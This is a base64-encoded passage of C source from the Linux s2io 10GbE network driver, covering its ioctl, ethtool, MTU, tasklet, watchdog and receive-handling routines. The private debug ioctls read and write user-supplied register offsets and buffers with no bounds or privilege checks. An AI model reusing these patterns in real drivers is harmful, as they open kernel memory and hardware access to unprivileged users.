IAoJCQkJCQkJUzJJT19TVFJJTkdTX0xFTik7CgkJCQkJYnJlYWs7CgkJCQlkZWZhdWx0OgoJCQkJ CXJldHVybiAtRU9QTk9UU1VQUDsKCQkJfQoJCQkKCQkJaWYoY29weV90b191c2VyKGRhdGEsICZn c3RyaW5ncywgc2l6ZW9mKGdzdHJpbmdzKSkpCgkJCQlyZXQgPSAtRUZBVUxUOwoJCQlpZighcmV0 KSB7CgkJCQlkYXRhICs9IG9mZnNldG9mKHN0cnVjdCBldGh0b29sX2dzdHJpbmdzLCBkYXRhKTsK CQkJCWlmKGNvcHlfdG9fdXNlcihkYXRhLHN0cmluZ3MsUzJJT19TVFJJTkdTX0xFTikpCgkJCQkJ cmV0ID0gLUVGQVVMVDsKCQkJfQoJCQlrZnJlZShzdHJpbmdzKTsKCgkJCWlmKHJldCkKCQkJCXJl dHVybiByZXQ7CgkJCWJyZWFrOwoJCX0KCQljYXNlIEVUSFRPT0xfVEVTVDoKCQl7CgkJCXN0cnVj dCB7CgkJCQlzdHJ1Y3QgZXRodG9vbF90ZXN0IGV0aHRlc3Q7CgkJCQl1aW50NjRfdCBkYXRhW1My SU9fVEVTVF9MRU5dOwoJCQl9IHRlc3QgPSB7IHtFVEhUT09MX1RFU1R9IH07CgkJCWludCBlcnI7 CgoJCQlpZihjb3B5X2Zyb21fdXNlcigmdGVzdC5ldGh0ZXN0LCBkYXRhLCAKCQkJCQkJc2l6ZW9m KHRlc3QuZXRodGVzdCkpKQoJCQkJcmV0dXJuIC1FRkFVTFQ7CgkJCQoJCQllcnIgPSBzMmlvX2V0 aHRvb2xfdGVzdChzcCwgJnRlc3QuZXRodGVzdCwgdGVzdC5kYXRhKTsKCgkJCWlmKGVycikgewoJ CQkJREJHX1BSSU5UKEVSUl9EQkcsIiVzOkZvciBPbmxpbmUiLGRldi0+bmFtZSk7CgkJCQlEQkdf UFJJTlQoRVJSX0RCRywiIHRlc3RzLCB0aGUgSW50ZXJmYWNlIG11c3QiKTsKCQkJCURCR19QUklO VChFUlJfREJHLCIgYmUgVXBcbiIpOwoJCQkJcmV0dXJuIC1FRkFVTFQ7CgkJCX0KCQkJaWYoY29w eV90b191c2VyKGRhdGEsICZ0ZXN0LCBzaXplb2YodGVzdCkpKQoJCQkJcmV0dXJuIC1FRkFVTFQ7 CgkJCQoJCQlicmVhazsKCQl9CgkJZGVmYXVsdDoKCQkJcmV0dXJuIC1FT1BOT1RTVVBQOwoJfQoK CXJldHVybiAwOwp9CiNlbmRpZiAvKiBDT05GSUdVUkVfRVRIVE9PTF9TVVBQT1JUICovCgovKgog KiAgSW5wdXQgQXJndW1lbnQvczogCiAqICBkZXYgLSAgIERldmljZSBwb2ludGVyLgogKiAgaWZy IC0gICBBbiBJT0NUTCBzcGVjZWZpYyBzdHJ1Y3R1cmUsIHRoYXQgY2FuIGNvbnRhaW4gYSBwb2lu dGVyIHRvCiAqICAgICAgYSBwcm9wcmlldGFyeSBzdHJ1Y3R1cmUgdXNlZCB0byBwYXNzIGluZm9y bWF0aW9uIHRvIHRoZSBkcml2ZXIuCiAqICBjbWQgLSAgIFRoaXMgaXMgdXNlZCB0byBkaXN0aW5n dWlzaCBiZXR3ZWVuIHRoZSBkaWZmZXJlbnQgY29tbWFuZHMgdGhhdAogKiAgICAgIGNhbiBiZSBw YXNzZWQgdG8gdGhlIElPQ1RMIGZ1bmN0aW9ucy4KICogIFJldHVybiB2YWx1ZToKICogIFNVQ0NF U1Mgb24gc3VjY2VzcyBhbmQgYW4gYXBwcm9wcmlhdGUgKC0pdmUgaW50ZWdlciBhcyBkZWZpbmVk IGluIGVycm5vLmgKICogIGZpbGUgb24gZmFpbHVyZS4KICogIERlc2NyaXB0aW9uOgogKiAgVGhp cyBmdW5jdGlvbiBoYXMgc3VwcG9ydCBmb3IgZXRodG9vbCwgYWRkaW5nIG11bHRpcGxlIE1BQyBh ZGRyZXNzZXMgb24gCiAqICB0aGUgTklDIGFuZCBzb21lIERCRyBjb21tYW5kcyBmb3IgdGhlIHV0 aWwgdG9vbC4KICovCmludCBzMmlvX2lvY3RsKHN0cnVjdCBuZXRfZGV2aWNlICpkZXYsIHN0cnVj dCBpZnJlcSAqcnEsIGludCBjbWQpCnsKCXU4ICphZGRyOwoJaW50IGk7CglyZWdpc3RlciB1NjQg bWFjX2FkZHIgPSAwLCB2YWw2NCA9IDA7CglzdHJ1Y3QgczJpb19uaWMgKnNwID0gKHN0cnVjdCBz MmlvX25pYyAqKWRldi0+cHJpdjsKCVhFTkFfZGV2X2NvbmZpZ190ICpiYXIwID0gKFhFTkFfZGV2 X2NvbmZpZ190ICopc3AtPmJhcjA7CgovKiAKICogT25jZSBvdGhlciBlbGVtZW50cyB0aGF0IHdp bGwgYmUgdXNlZCB0byBjb25maXVyZSB0aGUgSC9XCiAqIHVzaW5nIHRoZSBJT0NUTCBhcmUgcHV0 IGluIHBsYWNlLCB0aGlzIHN0cnVjdHVyZSB3aWxsIGJlIG1vdmVkIAogKiB0byB0aGUgaGVhZGVy IGZpbGUuIFRPRE8KICovCgl0eXBlZGVmIHN0cnVjdCBpb2N0bF9jb25maWcgewoJCWludCBwb3M7 IC8qVGhlIHBvc2l0aW9uIHdoZXJlIHRoZSBNQUMgaXMgdG8gYmUgc3RvcmVkICovCgkJc3RydWN0 IHNvY2thZGRyICpzOyAvKiBzdHJ1Y3R1cmUgdGhhdCBzdG9yZXMgdGhlIE1BQyAqLwoJfWlvY3Rs X2NmZ190OwoKCXN3aXRjaCAoY21kKQoJewoJCSNpZmRlZiBDT05GSUdVUkVfRVRIVE9PTF9TVVBQ T1JUCgkJY2FzZSBTSU9DRVRIVE9PTDoKCQl7CgkJcmV0dXJuIHMyaW9fZXRodG9vbChkZXYsIHJx KTsKCQl9CgkJI2VuZGlmCgoJCS8qIAoJCSAqIFByaXZhdGUgSU9DVExzIHVzZWQgYnkgdGhlIHV0 aWwgdG9vbCwgZm9yIGRlYnVnCgkJICogcHVycG9zZXMuCgkJICovCgkJY2FzZSBTSU9DREVWUFJJ VkFURSsxOgoJCXsKCSAgICAgICAgaW9jdGxfY2ZnX3QgKmNmZyA9IChpb2N0bF9jZmdfdCAqKShy cS0+aWZyX2lmcnUuaWZydV9kYXRhKTsKCgkJYWRkciA9ICh1OCAqKSgmY2ZnLT5zLT5zYV9kYXRh KTsKCQlmb3IoaT0wO2k8RVRIX0FMRU47aSsrKSB7CgkJCW1hY19hZGRyIHw9IGFkZHJbaV07CgkJ CW1hY19hZGRyIDw8PSA4OwoJCX0KCQl2YWw2NCA9IFJNQUNfQUREUl9DTURfTUVNX1JEIHwgUk1B Q19BRERSX0NNRF9NRU1fU1RST0JFX05FV19DTUQKCQkJfCBSTUFDX0FERFJfQ01EX01FTV9PRkZT RVQKCQkJCShNQUNfTUNfQUREUl9TVEFSVF9PRkZTRVQrY2ZnLT5wb3MpOwoJCW1kZWxheSg1MDAp OwoJCW1hY19hZGRyID0gcmVhZDY0KCZiYXIwLT5ybWFjX2FkZHJfZGF0YTBfbWVtKTsKCgkJaWYo bWFjX2FkZHIgJiAweGZmKSB7CgkJCURCR19QUklOVChFUlJfREJHLCIlczogUG9zaXRpb24gJWQg YWxyZWFkeSBpbiB1c2VcbiIsCgkJCQlkZXYtPm5hbWUsY2ZnLT5wb3MpOwoJCQlyZXR1cm4gLUVJ TlZBTDsKCQl9CgkJd3JpdGU2NCgmYmFyMC0+cm1hY19hZGRyX2RhdGEwX21lbSwKCQkJCVJNQUNf QUREUl9EQVRBMF9NRU1fQUREUihtYWNfYWRkcikpOwoJCXZhbDY0ID0gUk1BQ19BRERSX0NNRF9N RU1fV0UgfCBSTUFDX0FERFJfQ01EX01FTV9TVFJPQkVfTkVXX0NNRCAKCQkJfFJNQUNfQUREUl9D TURfTUVNX09GRlNFVAoJCQkJKE1BQ19NQ19BRERSX1NUQVJUX09GRlNFVCtjZmctPnBvcyk7CgkJ bWRlbGF5KDUwMCk7CgkJYnJlYWs7CgkJfQoJCWNhc2UgU0lPQ0RFVlBSSVZBVEUrNDoKCQl7CgkJ aW9jdGxJbmZvX3QgKmlvID0gKGlvY3RsSW5mb190ICopcnEtPmlmcl9kYXRhOwoJCWlvLT5zaXpl ID0gc3AtPm1hY19jb250cm9sLnR4ZF9saXN0X21lbV9zejsKCQljb3B5X3RvX3VzZXIoaW8tPmJ1 ZmZlcixzcC0+bWFjX2NvbnRyb2wudHhkbF9zdGFydFswXSxpby0+c2l6ZSk7CgkJYnJlYWs7CgkJ fQoJCWNhc2UgU0lPQ0RFVlBSSVZBVEUrNToKCQl7CgkJaW9jdGxJbmZvX3QgKmlvID0gKGlvY3Rs SW5mb190ICopcnEtPmlmcl9kYXRhOwoKCQlpby0+c2l6ZSA9IHNwLT5tYWNfY29udHJvbC5zdGF0 c19tZW1fc3o7CgkJY29weV90b191c2VyKGlvLT5idWZmZXIsIHNwLT5tYWNfY29udHJvbC5TdGF0 c0luZm8saW8tPnNpemUpOwoJCWJyZWFrOwoJCX0KCQljYXNlIFNJT0NERVZQUklWQVRFKzY6CgkJ ewoJCWlvY3RsSW5mb190ICppbyA9IChpb2N0bEluZm9fdCAqKXJxLT5pZnJfZGF0YTsKCgkJaW8t PnZhbHVlID0gcmVhZDY0KCZiYXIwLT5nZW5lcmFsX2ludF9zdGF0dXMpOwoJCSNpZiBERUJVR19P TgoJCWlvLT5yeGJ5dGVzID0gc3AtPnJ4cGt0X2J5dGVzOwoJCWlvLT50eGJ5dGVzID0gc3AtPnR4 cGt0X2J5dGVzOwoJCXByaW50ayhLRVJOX0lORk8iSW50ZXJydXB0IGNudDogMHgleFxuIiwgc3At PmludF9jbnQpOwoJCXByaW50ayhLRVJOX0lORk8iUnhJbnQgY250OiAweCV4XG4iLCBzcC0+cnhp bnRfY250KTsKCQlwcmludGsoS0VSTl9JTkZPIlR4SW50IGNudDogMHgleFxuIiwgc3AtPnR4aW50 X2NudCk7CgkJI2lmbmRlZiBYRU5BX0FSQ0hfNjQKCQlwcmludGsoS0VSTl9JTkZPIlJ4IFBrdCBD bnQ6IDB4JWxseFxuIixzcC0+cnhwa3RfY250KTsKCQkjZWxzZQoJCXByaW50ayhLRVJOX0lORk8i UnggUGt0IENudDogMHglbHhcbiIsc3AtPnJ4cGt0X2NudCk7CgkJI2VuZGlmCgkJI2VuZGlmCgkJ YnJlYWs7CgkJfQoJCWNhc2UgU0lPQ0RFVlBSSVZBVEUrNzoKCQl7CgkJdW5zaWduZWQgaW50IGk9 MCwgaj0wOwoJCWludCBzaXplID0gc2l6ZW9mKFJ4RF90KSooTUFYX1JYRFNfUEVSX0JMT0NLKzEp OwoJCWlvY3RsSW5mb190ICppbyA9IChpb2N0bEluZm9fdCAqKXJxLT5pZnJfZGF0YTsKCQlpby0+ c2l6ZSA9IHNwLT5tYWNfY29udHJvbC5yeGRfcmluZ19tZW1fc3o7CgoJCXdoaWxlKGkgPCBzcC0+ Y29uZmlnLlJ4Q2ZnWzBdLk51bVJ4ZCkgewoJCQljaGFyICpjID0gKGNoYXIgKilzcC0+cnhfYmxv Y2tzWzBdW2pdLmJsb2NrX3ZpcnRfYWRkcjsKCQkJY29weV90b191c2VyKChpby0+YnVmZmVyKyhq KnNpemUpKSwgYywgc2l6ZSk7CgkJCWkgKz0gKE1BWF9SWERTX1BFUl9CTE9DSysxKTsKCQkJaisr OwoJCX0KCQlicmVhazsKCQl9CgkJY2FzZSBTSU9DREVWUFJJVkFURSs4OgoJCXsKCQkjaWYgREVC VUdfT04KCQlSeERfdCAqcnhkcCA9IHNwLT5tYWNfY29udHJvbC5SeFJpbmdbMF07CgkJc3RydWN0 IHNrX2J1ZmYgKnNrYjsKCQlpbnQJY250PTA7CgkJaW50IGk7CgoJCXJ4ZHAgKz0gY250OwoJCXNr YiA9IChzdHJ1Y3Qgc2tfYnVmZiAqKShkbWFhZGRyX3QpcnhkcC0+SG9zdF9Db250cm9sOwoJCWlm KHNrYikgewoJCQlmb3IoaT0wO2k8MHgxMTA7aSsrKQoJCQkJcHJpbnRrKCIlMDJ4Iiwoc2tiLT5k YXRhKVtpXSk7CgkJCWNudCsrOwoJCX0KCQkjZWxzZQoJCXByaW50ayhLRVJOX0lORk8iUGxlYXNl IGVuYWJsZSBEZWJ1ZyB0byBzZWUgUnggYnVmZmVyXG4iKTsKCQkjZW5kaWYKCQlicmVhazsKCQl9 CgkJY2FzZSBTSU9DREVWUFJJVkFURSs5OgoJCXsKCQlpb2N0bEluZm9fdCAqaW8gPSAoaW9jdGxJ bmZvX3QgKilycS0+aWZyX2RhdGE7CgkJdmFsNjQgPSByZWFkNjQoKHNwLT5iYXIwK2lvLT5vZmZz ZXQpKTsKCQlpby0+dmFsdWUgPSB2YWw2NDsKCQlicmVhazsKCQl9CgkJY2FzZSBTSU9DREVWUFJJ VkFURSsxMDoKCQl7CgkJaW9jdGxJbmZvX3QgKmlvID0gKGlvY3RsSW5mb190ICopcnEtPmlmcl9k YXRhOwoJCXdyaXRlNjQoKHNwLT5iYXIwK2lvLT5vZmZzZXQpLCBpby0+dmFsdWUpOwoJCWJyZWFr OwoJCX0KCQljYXNlIFNJT0NERVZQUklWQVRFKzExOgoJCXsKCQlzMmlvX3Jlc2V0KHNwKTsKCQli cmVhazsKCQl9CgkJZGVmYXVsdDoKCQlyZXR1cm4gLUVPUE5PVFNVUFA7CgkJYnJlYWs7Cgl9CgoJ cmV0dXJuIFNVQ0NFU1M7Cn0KCi8qCiAqICBJbnB1dCBBcmd1bWVudC9zOiAKICogICBkZXYgLSBk ZXZpY2UgcG9pbnRlci4KICogICBuZXdfbXR1IC0gdGhlIG5ldyBNVFUgc2l6ZSBmb3IgdGhlIGRl dmljZS4KICogIFJldHVybiB2YWx1ZToKICogICBTVUNDRVNTIG9uIHN1Y2Nlc3MgYW5kIGFuIGFw cHJvcHJpYXRlICgtKXZlIGludGVnZXIgYXMgZGVmaW5lZCBpbiBlcnJuby5oCiAqICAgZmlsZSBv biBmYWlsdXJlLgogKiAgRGVzY3JpcHRpb246CiAqICAgQSBkcml2ZXIgZW50cnkgcG9pbnQgdG8g Y2hhbmdlIE1UVSBzaXplIGZvciB0aGUgZGV2aWNlLiBCZWZvcmUgY2hhbmdpbmcKICogICB0aGUg TVRVIHRoZSBkZXZpY2UgbXVzdCBiZSBzdG9wcGVkLgogKi8KaW50IHMyaW9fY2hhbmdlX210dShz dHJ1Y3QgbmV0X2RldmljZSAqZGV2LCBpbnQgbmV3X210dSkKewoJbmljX3QgKnNwID0gKG5pY190 ICopZGV2LT5wcml2OwoJWEVOQV9kZXZfY29uZmlnX3QgKmJhcjAgPSAoWEVOQV9kZXZfY29uZmln X3QgKilzcC0+YmFyMDsKCXJlZ2lzdGVyIHU2NCAgICB2YWw2NDsKCglpZihuZXRpZl9ydW5uaW5n KGRldikpIHsKCQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6IE11c3QgYmUgc3RvcHBlZCB0byAiLGRl di0+bmFtZSk7IAoJCURCR19QUklOVChFUlJfREJHLCJjaGFuZ2UgaXRzIE1UVSBcbiIpOwoJCXJl dHVybiAtRUJVU1k7Cgl9CgoJaWYoKG5ld19tdHUgPCBNSU5fTVRVKXx8KG5ld19tdHUgPiBTMklP X0pVTUJPX1NJWkUpKSB7CgkJREJHX1BSSU5UKEVSUl9EQkcsIiVzOiBNVFUgc2l6ZSBpcyBpbnZh bGlkLlxuIiwgZGV2LT5uYW1lKTsKCQlyZXR1cm4gLUVQRVJNOwoJfQoKLyogU2V0IHRoZSBuZXcg TVRVIGludG8gdGhlIFBZTEQgcmVnaXN0ZXIgb2YgdGhlIE5JQyAqLwoJdmFsNjQgPSBuZXdfbXR1 OwoJd3JpdGU2NCgmYmFyMC0+cm1hY19tYXhfcHlsZF9sZW4sIHZCSVQodmFsNjQsMiwxNCkpOwoK CWRldi0+bXR1ID0gbmV3X210dTsKCglyZXR1cm4gU1VDQ0VTUzsKfQoKLyoKICogIElucHV0IEFy Z3VtZW50L3M6IAogKiAgZGV2X2FkciAtIGFkZHJlc3Mgb2YgdGhlIGRldmljZSBzdHJ1Y3R1cmUg aW4gZG1hYWRkcl90IGZvcm1hdC4KICogIFJldHVybiB2YWx1ZToKICogIHZvaWQuCiAqICBEZXNj cmlwdGlvbjoKICogIFRoaXMgaXMgdGhlIHRhc2tsZXQgb3IgdGhlIGJvdHRvbSBoYWxmIG9mIHRo ZSBJU1IuIFRoaXMgaXMKICogIGFuIGV4dGVuc2lvbiBvZiB0aGUgSVNSIHdoaWNoIGlzIHNjaGVk dWxlZCBieSB0aGUgc2NoZWR1bGVyIHRvIGJlIHJ1biAKICogIHdoZW4gdGhlIGxvYWQgb24gdGhl IENQVSBpcyBsb3cuIEFsbCBsb3cgcHJpb3JpdHkgdGFza3Mgb2YgdGhlIElTUiBjYW4KICogIGJl IHB1c2hlZCBpbnRvIHRoZSB0YXNrbGV0LiBGb3Igbm93IHRoZSB0YXNrbGV0IGlzIHVzZWQgb25s eSB0byAKICogIHJlcGxlbmlzaCB0aGUgUnggYnVmZmVycyBpbiB0aGUgUnggYnVmZmVyIGRlc2Ny aXB0b3JzLgogKi8Kdm9pZCBzMmlvX3Rhc2tsZXQodW5zaWduZWQgbG9uZyBkZXZfYWRkcikKewoJ c3RydWN0IG5ldF9kZXZpY2UgKmRldiA9IChzdHJ1Y3QgbmV0X2RldmljZSopZGV2X2FkZHI7Cglu aWNfdCAqc3AgPSAobmljX3QgKilkZXYtPnByaXY7CglpbnQgaSwgcmV0OwoKCWlmKCF0ZXN0X2Fu ZF9zZXRfYml0KDAsICh1bnNpZ25lZCBsb25nICopKCZzcC0+dGFza2xldF9zdGF0dXMpKSkgewoJ CWZvcihpPTA7aTxzcC0+Y29uZmlnLlJ4UmluZ051bTtpKyspIHsKCQkJcmV0ID0gZmlsbF9yeF9i dWZmZXJzKHNwLGkpOwoJCQlpZihyZXQgPT0gLUVOT01FTSkgewoJCQkJREJHX1BSSU5UKEVSUl9E QkcsIiVzOiBPdXQgb2YgIixkZXYtPm5hbWUpOwoJCQkJREJHX1BSSU5UKEVSUl9EQkcsIm1lbW9y eSBpbiB0YXNrbGV0XG4iKTsKCQkJCXJldHVybjsKCQkJfSBlbHNlIGlmKHJldCA9PSAtRUZJTEwp IHsKCQkJCURCR19QUklOVChFUlJfREJHLCIlczogUnggUmluZyAlZCBpcyBmdWxsXG4iLAoJCQkJ CQlkZXYtPm5hbWUsaSk7CgkJCQlyZXR1cm47CgkJCX0KCQl9CgkJY2xlYXJfYml0KDAsKHVuc2ln bmVkIGxvbmcgKikoJnNwLT50YXNrbGV0X3N0YXR1cykpOwoJfQp9CgovKgogKiAgSW5wdXQgQXJn dW1lbnQvczogCiAqICBkZXYgLSBkZXZpY2UgcG9pbnRlci4KICogIFJldHVybiB2YWx1ZToKICog IHZvaWQKICogIERlc2NyaXB0aW9uOgogKiAgVGhpcyBmdW5jdGlvbiBpcyB0cmlnZ2VyZWQgaWYg dGhlIFR4IFF1ZXVlIGlzIHN0b3BwZWQKICogIGZvciBhIHByZS1kZWZpbmVkIGFtb3VudCBvZiB0 aW1lIHdoZW4gdGhlIEludGVyZmFjZSBpcyBzdGlsbCB1cC4KICogIElmIHRoZSBJbnRlcmZhY2Ug aXMgamFtbWVkIGluIHN1Y2ggYSBzaXR1YXRpb24sIHRoZSBoYXJkd2FyZSBpcwogKiAgcmVzZXQg KGJ5IHMyaW9fY2xvc2UpIGFuZCByZXN0YXJ0ZWQgYWdhaW4gKGJ5IHMyaW9fb3BlbikgdG8KICog IG92ZXJjb21lIGFueSBwcm9ibGVtIHRoYXQgbWlnaCBoYXZlIGJlZW4gY2F1c2VkIGluIHRoZSBo YXJkd2FyZS4KICovCnZvaWQgczJpb190eF93YXRjaGRvZyhzdHJ1Y3QgbmV0X2RldmljZSAqZGV2 KQp7CgluaWNfdCAqc3AgPSAobmljX3QgKilkZXYtPnByaXY7CglzdHJ1Y3Qgc2tfYnVmZiAqc2ti OwoKCWlmIChzcC0+dHhfcGt0X3B0cikgewoJCXNrYiA9IHNwLT50eF9wa3RfcHRyOwoJCS8vZGV2 X2tmcmVlX3NrYihza2IpOwoJCXMyaW9fY2xvc2UoZGV2KTsKCQlzcC0+ZGV2aWNlX2Nsb3NlX2Zs YWcgPSBUUlVFOwoJCXMyaW9fb3BlbihkZXYpOwoJCXNwLT50eF9wa3RfcHRyID0gTlVMTDsKCQlE QkdfUFJJTlQoRVJSX0RCRywiJXM6IEhpdCB0aGUgd2F0Y2ggZG9nIHJvdXRpbmVcbiIsZGV2LT5u YW1lKTsKCX0KCiNpZiBERUJVR19PTgoJREJHX1BSSU5UKEVSUl9EQkcsIiVzOiBEZXZpY2Ugd2Fz IHJlc2V0IGJ5IFR4IHdhdGNoZG9nIHRpbWVyLlxuIiwgCgkJCWRldi0+bmFtZSk7CiNlbmRpZiAg Cn0KCi8qCiAqICBJbnB1dCBBcmd1bWVudC9zOiAKICogICBzcCAtIHByaXZhdGUgbWVtYmVyIG9m IHRoZSBkZXZpY2Ugc3RydWN0dXJlLCB3aGljaCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAgIHMy aW9fbmljIHN0cnVjdHVyZS4KICogICBza2IgLSB0aGUgc29ja2V0IGJ1ZmZlciBwb2ludGVyLgog KiAgIGxlbiAtIGxlbmd0aCBvZiB0aGUgcGFja2V0CiAqICAgY2tzdW0gLSBGQ1MgY2hlY2tzdW0g b2YgdGhlIGZyYW1lLgogKiAgcmluZ19ubyAtIHRoZSByaW5nIGZyb20gd2hpY2ggdGhpcyBSeEQg d2FzIGV4dHJhY3RlZC4KICogIFJldHVybiB2YWx1ZToKICogICBTVUNDRVNTIG9uIHN1Y2Nlc3Mg YW5kIC0xIG9uIGZhaWx1cmUuCiAqICBEZXNjcmlwdGlvbjogCiAqICAgVGhpcyBmdW5jdGlvbiBp cyBjYWxsZWQgYnkgdGhlIFR4IGludGVycnVwdCBzZXJpdmNlIHJvdXRpbmUgdG8gcGVyZm9ybSAK ICogICBzb21lIE9TIHJlbGF0ZWQgb3BlcmF0aW9ucyBvbiB0aGUgU0tCIGJlZm9yZSBwYXNzaW5n IGl0IHRvIHRoZSB1cHBlcgogKiAgIGxheWVycy4gSXQgbWFpbmx5IGNoZWNrcyBpZiB0aGUgY2hl Y2tzdW0gaXMgT0ssIGlmIHNvIGFkZHMgaXQgdG8gdGhlCiAqICAgU0tCcyBja3N1bSB2YXJpYWJs ZSwgaW5jcmVtZW50cyB0aGUgUnggcGFja2V0IGNvdW50IGFuZCBwYXNzZXMgdGhlIFNLQgogKiAg IHRvIHRoZSB1cHBlciBsYXllci4gSWYgdGhlIGNoZWNrc3VtIGlzIHdyb25nLCBpdCBpbmNyZW1l bnRzIHRoZSBSeAogKiAgIHBhY2tldCBlcnJvciBjb3VudCwgZnJlZXMgdGhlIFNLQiBhbmQgcmV0 dXJucyBlcnJvci4KICovCmludCByeE9zbUhhbmRsZXIobmljX3QgKnNwLHUxNiBsZW4sUnhEX3Qg KnJ4ZHAsaW50IHJpbmdfbm8pCnsKCXN0cnVjdCBuZXRfZGV2aWNlICpkZXYgPSAoc3RydWN0IG5l dF9kZXZpY2UgKilzcC0+ZGV2OwoJc3RydWN0IHNrX2J1ZmYgKnNrYiA9IChzdHJ1Y3Qgc2tfYnVm ZiAqKShkbWFhZGRyX3QpcnhkcC0+SG9zdF9Db250cm9sOwoJdTE2IGwzX2NzdW0sIGw0X2NzdW07 CgoJbDNfY3N1bSA9IFJYRF9HRVRfTDNfQ0tTVU0ocnhkcC0+Q29udHJvbF8xKTsKCWlmKHJ4ZHAt PkNvbnRyb2xfMSAmIFRDUF9PUl9VRFBfRlJBTUUpIHsKCQlsNF9jc3VtID0gUlhEX0dFVF9MNF9D S1NVTShyeGRwLT5Db250cm9sXzEpOwoJCWlmKChsM19jc3VtID09IEwzX0NLU1VNX09LKSAmJiAo bDRfY3N1bSA9PSBMNF9DS1NVTV9PSykpIHsKCQkJc2tiLT5pcF9zdW1tZWQgID0gQ0hFQ0tTVU1f VU5ORUNFU1NBUlk7CgkJc2tiLT5jc3VtID0gbDRfY3N1bTsKCQl9IGVsc2UgewoJCS8qIEVycm9u ZW91cyBjaGVja3N1bSwgbGV0IHRoZSB1cHBlciBsYXllcnMgZGVhbCB3aXRoIGl0LiAqLwoJCQlz a2ItPmlwX3N1bW1lZCAgPSBDSEVDS1NVTV9OT05FOwoJCX0KCX0gZWxzZSB7CgkJc2tiLT5pcF9z dW1tZWQgID0gQ0hFQ0tTVU1fTk9ORTsKCX0KCglza2ItPmRldiA9IGRldjsKCXNrYl9wdXQoc2ti LGxlbik7Cglza2ItPnByb3RvY29sICAgPSBldGhfdHlwZV90cmFucyhza2IsZGV2KTsKCgkjaWZk ZWYgQ09ORklHVVJFX05BUElfU1VQUE9SVAoJbmV0aWZfcmVjZWl2ZV9za2Ioc2tiKTsKCSNlbHNl CgluZXRpZl9yeChza2IpOwoJI2VuZGlmCgoJZGV2LT5sYXN0X3J4ID0gamlmZmllczsKCSNpZiBE RUJVR19PTgoJc3AtPnJ4cGt0X2NudCsrOwoJI2VuZGlmCglzcC0+cnhfcGt0X2NvdW50Kys7Cglz cC0+c3RhdHMucnhfcGFja2V0cysrOwoJc3AtPnN0YXRzLnJ4X2J5dGVzICs9IGxlbjsKCXNwLT5y eHBrdF9ieXRlcyArPSBsZW47CgoJYXRvbWljX2RlYygmc3AtPnJ4X2J1ZnNfbGVmdFtyaW5nX25v XSk7CglyeGRwLT5Ib3N0X0NvbnRyb2wgPSAwOwoJcmV0dXJuIFNVQ0NFU1M7Cn0KCi8qCiogIElu cHV0IEFyZ3VtZW50L3M6IAoqICAgc3AgLSBwcml2YXRlIG1lbWJlciBvZiB0aGUgZGV2aWNlIHN0 cnVjdHVyZSwgd2hpY2ggaXMgYSBwb2ludGVyIHRvIHRoZSAKKiAgIHMyaW9fbmljIHN0cnVjdHVy ZS4KKiAgIGxpbmsgLSBpbmlkaWNhdGVzIHdoZXRoZXIgbGluayBpcyBVUC9ET1dOLgoqICBSZXR1 cm4gdmFsdWU6CiogICB2b2lkLgoqICBEZXNjcmlwdGlvbjoKKiAgIFRoaXMgZnVuY3Rpb24gc3Rv cHMvc3RhcnRzIHRoZSBUeCBxdWV1ZSBkZXBlbmRpbmcgb24gd2hldGhlciB0aGUgbGluawoqICAg c3RhdHVzIG9mIHRoZSBOSUMgaXMgaXMgZG93biBvciB1cC4gVGhpcyBpcyBjYWxsZWQgYnkgdGhl IEFsYXJtIGludGVycnVwdCAKKiAgaGFuZGxlciB3aGVuZXZlciBhIGxpbmsgY2hhbmdlIGludGVy cnVwdCBjb21lcyB1cC4gCiovCnZvaWQgczJpb19saW5rKG5pY190ICpzcCwgaW50IGxpbmspCnsK CXN0cnVjdCBuZXRfZGV2aWNlICpkZXYgPSAoc3RydWN0IG5ldF9kZXZpY2UgKilzcC0+ZGV2OwoK CWlmKGxpbmsgPT0gMCkgewoJCURCR19QUklOVChFUlJfREJHLCIlczogTGluayBkb3duXG4iLGRl di0+bmFtZSk7CgkJbmV0aWZfY2Fycmllcl9vZmYoZGV2KTsKCX0KCWVsc2UgewoJCURCR19QUklO VChFUlJfREJHLCIlczogTGluayBVcFxuIixkZXYtPm5hbWUpOwoJCW5ldGlmX2NhcnJpZXJfb24o ZGV2KTsKCX0KfQoKLyoKKiAgSW5wdXQgQXJndW1lbnQvczogCiogICBwZGV2IC0gc3RydWN0dXJl IGNvbnRhaW5pbmcgdGhlIFBDSSByZWxhdGVkIGluZm9ybWF0aW9uIG9mIHRoZSBkZXZpY2UuCiog IFJldHVybiB2YWx1ZToKKiAgIHJldHVybnMgdGhlIHJldmlzaW9uIElEIG9mIHRoZSBkZXZpY2Uu CiogIERlc2NyaXB0aW9uOgoqICAgRnVuY3Rpb24gdG8gaWRlbnRpZnkgdGhlIFJldmlzaW9uIElE IG9mIHhlbmEuCiovCmludCBnZXRfeGVuYV9yZXZfaWQoc3RydWN0IHBjaV9kZXYgKnBkZXYpCnsJ Cgl1OCBpZCA9IDA7CglpbnQgcmV0OwoJcmV0ID0gcGNpX3JlYWRfY29uZmlnX2J5dGUocGRldiwg UENJX1JFVklTSU9OX0lELCAodTggKikmaWQpOwoJcmV0dXJuIGlkOwp9CgovKgoqICBJbnB1dCBB cmd1bWVudC9zOiAKKiAgIHNwIC0gcHJpdmF0ZSBtZW1iZXIgb2YgdGhlIGRldmljZSBzdHJ1Y3R1 cmUsIHdoaWNoIGlzIGEgcG9pbnRlciB0byB0aGUgCiogICBzMmlvX25pYyBzdHJ1Y3R1cmUuCiog IFJldHVybiB2YWx1ZToKKiAgIHZvaWQKKiAgRGVzY3JpcHRpb246CiogICBUaGlzIGZ1bmN0aW9u IGluaXRpYWxpemVzIGEgZmV3IG9mIHRoZSBQQ0kgYW5kIFBDSS1YIGNvbmZpZ3VyYXRpb24gcmVn aXN0ZXJzCiogICB3aXRoIHJlY29tbWVuZGVkIHZhbHVlcy4KKi8Kc3RhdGljIHZvaWQgczJpb19p bml0X3BjaShuaWNfdCAqc3ApCnsKCXUxNglwY2lfY21kID0gMDsKCi8qIEVuYWJsZSBEYXRhIFBh cml0eSBFcnJvciBSZWNvdmVyeSBpbiBQQ0ktWCBjb21tYW5kIHJlZ2lzdGVyLiAqLwoJcGNpX3Jl YWRfY29uZmlnX3dvcmQoc3AtPnBkZXYsIFBDSVhfQ09NTUFORF9SRUdJU1RFUiwgJihzcC0+cGNp eF9jbWQpKTsKCXBjaV93cml0ZV9jb25maWdfd29yZChzcC0+cGRldiwgUENJWF9DT01NQU5EX1JF 